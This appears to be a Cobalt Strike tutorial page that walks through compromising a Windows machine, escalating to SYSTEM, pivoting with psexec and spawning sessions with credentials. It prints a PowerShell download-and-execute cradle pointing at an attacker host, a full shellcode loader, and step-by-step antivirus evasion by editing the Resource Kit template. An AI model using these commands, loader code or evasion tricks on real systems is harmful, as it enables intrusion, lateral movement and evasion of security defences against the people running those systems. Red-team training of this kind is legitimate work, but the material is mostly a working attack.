Cobalt-Strike/Examples
You are here | Examples
|
Beacon-SMB
Setup the listeners
In this attack scenario, we'll compromise a Windows 10 machine using a here listener and pivot to compromise a file server using a Beacon-SMB listener.
First set up 2 listeners:
Initial compromise
Compromise the machine using a scripted web delivery attack over the Beacon-HTTP listener.
Latteral move (uac-token-duplication)
Once done, we'll elevate to another process. To do that, right click on the compromised host and select Access > Elevate
:
Now, from the popup window, select the SMB-Beacon listener and the uac-token-duplication
exploit.
It should result in the creation of another session (elevated)
Privilege escalation (svc-exe)
Right click on the elevated session and select Access > Elevate
. This time, use the svc-exe
exploit:
It should result in a third privileged session with SYSTEM
access:
Pivot
From the menu, go to Cobalt Strike > Visualization > Pivot Graph
. You should now have the following graph:
Right click on the first session (in the above example, PID 2652) and select Interact
. Now, enter the following command:
jump psexec64 172.16.222.135 ec2 - smb
where:
jump psexec64
will allow us to pivot to another host in the same network using the psexec64 executable172.16.222.135
is the host we want to jump toec2 - smb
is the name of our Beacon-SMB listener
We have successfully compromised a new host using a Beacon-SMB named pipe, to compromise a new host:
Linking/unlinking
If we want to unlink our host from the FILESERVER, let's do as follows:
beacon> unlink 172.16.222.136 2612
It results in disconnected lines as shown below:
To connect the FILESERVER
to our WS10
machine, right click on the FILESERVER
asset, select Interact
and do:
beacon> link WS10 msagent_58d6
Beacon-TCP
Now, let's spawn a new session as a different user, using a Beacon-TCP listener.
Right click on the WS10 asset and select Access > Spawn as
. Enter the user's credentials, select the Beacon-TCP listener and click Lauch. Notice that we could also use a command line:
beacon> spawnas .\thomas awesome_password ec2-tcp
It results in a new session:
ResourceKit
Without template modification (detection)
Run the payload
In Cobalt Strike:
It results in the following command:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.222.130:80/a'))"
In Powershell ISE:
- Paste the command:
IEX ((new-object net.webclient).downloadstring('http://172.16.222.130:80/a'))
- Replace the
IEX
instruction bySet-Clipboard -Value
:
Set-Clipboard -Value ((new-object net.webclient).downloadstring('http://172.16.222.130:80/a'))
- Execute the code (F5). Remove the string and paste the content of the clipboard:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAA[REDACTED]fwfyNdd1JNWBQA="));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
- Once again, replace the
IEX
instruction bySet-Clipboard -Value
- Execute the code (F5) and paste the content of the clipboard. It results in the following decompressed code:
Set-StrictMode -Version 2
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrq[REDACTED]IyMjIyMjIyMjIw==')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
- If we execute this code (F5), it will be snagged by the Anti-Virus. Now, comment out (prefix lines with
#
) lines 30 to 35 and execute the code (F5). - At this stage we know that the code lying at lines 30-35 is responsible for the detection:
Identify the necessary modification
Now, notice that if we modify the 2nd argument of the Copy
function from 0
to 0x0
, it seems to bypass the detection:
And we have a session created:
With template modification (no detection)
Modify the template
Let's modify our template. Go to your "resource kit" folder and open the file named "template.x64.ps1". Apply the modification exactly as we did previously.
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('%%DATA%%')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0x0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
Load the template and run the attack
Now, in Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the "resources.cna" script:
Perform the same steps as previously. This time, the payload will directly contain our modified Copy
function.